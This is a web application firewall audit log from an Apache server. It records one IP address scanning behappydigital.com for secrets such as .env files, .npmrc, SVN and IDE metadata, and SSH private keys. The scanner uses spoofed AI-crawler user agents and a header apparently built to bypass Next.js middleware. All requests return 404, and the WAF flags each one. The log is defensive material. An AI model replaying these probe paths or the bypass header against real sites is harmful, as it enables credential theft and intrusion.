Stopwatch2: 1789296850836516 38359; combined=36747, p1=350, p2=36248, p3=74, p4=7, p5=67, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--33878136-Z--

--ab0fdb3d-A--
[13/Sep/2026:13:54:11.014007 +0300] aqaA02M7dE9KgIIOpQh6gwAAANg 35.236.177.61 34888 127.0.0.1 7081
--ab0fdb3d-B--
GET /.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Bravebot/1.0; +https://brave.com/search/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--ab0fdb3d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--ab0fdb3d-E--

--ab0fdb3d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6gwAAANg"]
Stopwatch: 1789296851006793 7279 (- - -)
Stopwatch2: 1789296851006793 7279; combined=5488, p1=240, p2=5049, p3=144, p4=9, p5=46, sr=92, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ab0fdb3d-Z--

--c452896d-A--
[13/Sep/2026:13:54:11.216353 +0300] aqaA0zTJ6xTvcJoem7f8ZgAAAE0 35.236.177.61 34898 127.0.0.1 7081
--c452896d-B--
GET /.env.local HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c452896d-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--c452896d-E--

--c452896d-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaA0zTJ6xTvcJoem7f8ZgAAAE0"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.env.local"] [unique_id "aqaA0zTJ6xTvcJoem7f8ZgAAAE0"]
Stopwatch: 1789296851184181 32224 (- - -)
Stopwatch2: 1789296851184181 32224; combined=30849, p1=211, p2=30518, p3=68, p4=7, p5=45, sr=100, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c452896d-Z--

--f58e4941-A--
[13/Sep/2026:13:54:11.332107 +0300] aqaA02M7dE9KgIIOpQh6hwAAAMA 35.236.177.61 34924 127.0.0.1 7081
--f58e4941-B--
GET /api/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--f58e4941-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--f58e4941-E--

--f58e4941-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/api/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6hwAAAMA"]
Stopwatch: 1789296851325535 6624 (- - -)
Stopwatch2: 1789296851325535 6624; combined=4979, p1=339, p2=4473, p3=112, p4=10, p5=45, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--f58e4941-Z--

--5dc4f855-A--
[13/Sep/2026:13:54:11.438773 +0300] aqaA00wu1RSkptiiNIX7mQAAAJQ 35.236.177.61 34934 127.0.0.1 7081
--5dc4f855-B--
GET /admin/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Google-Extended; +http://www.google.com/bot.html)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--5dc4f855-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--5dc4f855-E--

--5dc4f855-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/admin/.env"] [unique_id "aqaA00wu1RSkptiiNIX7mQAAAJQ"]
Stopwatch: 1789296851432279 6554 (- - -)
Stopwatch2: 1789296851432279 6554; combined=4815, p1=308, p2=4374, p3=78, p4=9, p5=45, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--5dc4f855-Z--

--fd897870-A--
[13/Sep/2026:13:54:11.455219 +0300] aqaA02M7dE9KgIIOpQh6iAAAANc 35.236.177.61 34948 127.0.0.1 7081
--fd897870-B--
GET /backend/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fd897870-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--fd897870-E--

--fd897870-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/backend/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6iAAAANc"]
Stopwatch: 1789296851442652 12680 (- - -)
Stopwatch2: 1789296851442652 12680; combined=10451, p1=481, p2=9799, p3=99, p4=11, p5=61, sr=191, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fd897870-Z--

--d3b24469-A--
[13/Sep/2026:13:54:11.477139 +0300] aqaA02M7dE9KgIIOpQh6iQAAAMc 35.236.177.61 34962 127.0.0.1 7081
--d3b24469-B--
GET /config/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d3b24469-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d3b24469-E--

--d3b24469-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/config/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6iQAAAMc"]
Stopwatch: 1789296851466466 10786 (- - -)
Stopwatch2: 1789296851466466 10786; combined=8616, p1=447, p2=7986, p3=99, p4=11, p5=72, sr=174, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d3b24469-Z--

--b66f2e3f-A--
[13/Sep/2026:13:54:11.998972 +0300] aqaA02M7dE9KgIIOpQh6jgAAAMs 35.236.177.61 35070 127.0.0.1 7081
--b66f2e3f-B--
GET /.github/.env HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b66f2e3f-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--b66f2e3f-E--

--b66f2e3f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.github/.env"] [unique_id "aqaA02M7dE9KgIIOpQh6jgAAAMs"]
Stopwatch: 1789296851979204 19823 (- - -)
Stopwatch2: 1789296851979204 19823; combined=18176, p1=250, p2=17769, p3=93, p4=10, p5=53, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b66f2e3f-Z--

--8233204e-A--
[13/Sep/2026:13:54:12.095207 +0300] aqaA1Ewu1RSkptiiNIX7nQAAAIc 35.236.177.61 35098 127.0.0.1 7081
--8233204e-B--
GET /.npmrc HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--8233204e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--8233204e-E--

--8233204e-H--
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.npmrc||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.npmrc"] [unique_id "aqaA1Ewu1RSkptiiNIX7nQAAAIc"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".npmrc" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.npmrc||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.npmrc"] [unique_id "aqaA1Ewu1RSkptiiNIX7nQAAAIc"]
Stopwatch: 1789296852060984 34283 (- - -)
Stopwatch2: 1789296852060984 34283; combined=32373, p1=324, p2=31871, p3=93, p4=11, p5=73, sr=140, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8233204e-Z--

--d55fec14-A--
[13/Sep/2026:13:54:12.318379 +0300] aqaA1GM7dE9KgIIOpQh6kwAAAM8 35.236.177.61 35162 127.0.0.1 7081
--d55fec14-B--
GET /.svn/entries HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--d55fec14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--d55fec14-E--

--d55fec14-H--
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.svn/entries||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.svn/entries"] [unique_id "aqaA1GM7dE9KgIIOpQh6kwAAAM8"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".svn/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.svn/entries||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.svn/entries"] [unique_id "aqaA1GM7dE9KgIIOpQh6kwAAAM8"]
Stopwatch: 1789296852280825 37619 (- - -)
Stopwatch2: 1789296852280825 37619; combined=35912, p1=283, p2=35488, p3=79, p4=8, p5=54, sr=129, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d55fec14-Z--

--68c00941-A--
[13/Sep/2026:13:54:12.620373 +0300] aqaA1GM7dE9KgIIOpQh6lwAAAMk 35.236.177.61 35238 127.0.0.1 7081
--68c00941-B--
GET /.idea/WebServers.xml HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Hunyuan/1.0; +https://hunyuan.tencent.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--68c00941-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--68c00941-E--

--68c00941-H--
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.idea/webservers.xml||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaA1GM7dE9KgIIOpQh6lwAAAMk"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".idea/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.idea/webservers.xml||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.idea/WebServers.xml"] [unique_id "aqaA1GM7dE9KgIIOpQh6lwAAAMk"]
Stopwatch: 1789296852587025 33404 (- - -)
Stopwatch2: 1789296852587025 33404; combined=31486, p1=360, p2=30976, p3=80, p4=8, p5=62, sr=153, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--68c00941-Z--

--333d5038-A--
[13/Sep/2026:13:54:12.770352 +0300] aqaA1CsVWymXUono-eRWRwAAABg 35.236.177.61 35256 127.0.0.1 7081
--333d5038-B--
GET /.ssh/id_rsa HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--333d5038-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--333d5038-E--

--333d5038-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_rsa||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaA1CsVWymXUono-eRWRwAAABg"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_rsa||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_rsa"] [unique_id "aqaA1CsVWymXUono-eRWRwAAABg"]
Stopwatch: 1789296852732131 38272 (- - -)
Stopwatch2: 1789296852732131 38272; combined=35967, p1=241, p2=35602, p3=70, p4=8, p5=45, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--333d5038-Z--

--778ba61e-A--
[13/Sep/2026:13:54:12.796853 +0300] aqaA1Ewu1RSkptiiNIX7oQAAAIE 35.236.177.61 35264 127.0.0.1 7081
--778ba61e-B--
GET /.ssh/id_ed25519 HTTP/1.1
Host: behappydigital.com
X-Real-IP: 35.236.177.61
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; PanguBot/1.0; +https://www.huaweicloud.com/)
Accept: */*
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--778ba61e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--778ba61e-E--

--778ba61e-H--
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.ssh/id_ed25519||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "behappydigital.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaA1Ewu1RSkptiiNIX7oQAAAIE"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".ssh/" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.ssh/id_ed25519||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "behappydigital.com"] [uri "/.ssh/id_ed25519"] [unique_id "aqaA1Ewu1RSkptiiNIX7oQAAAIE"]
Stopwatch: 1789296852763827 33126 (- - -)
Stopwatch2: 1789296852763827 33126; combined=30380, p1=279, p2=29958, p3=86, p4=8, p5=49, sr=112, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
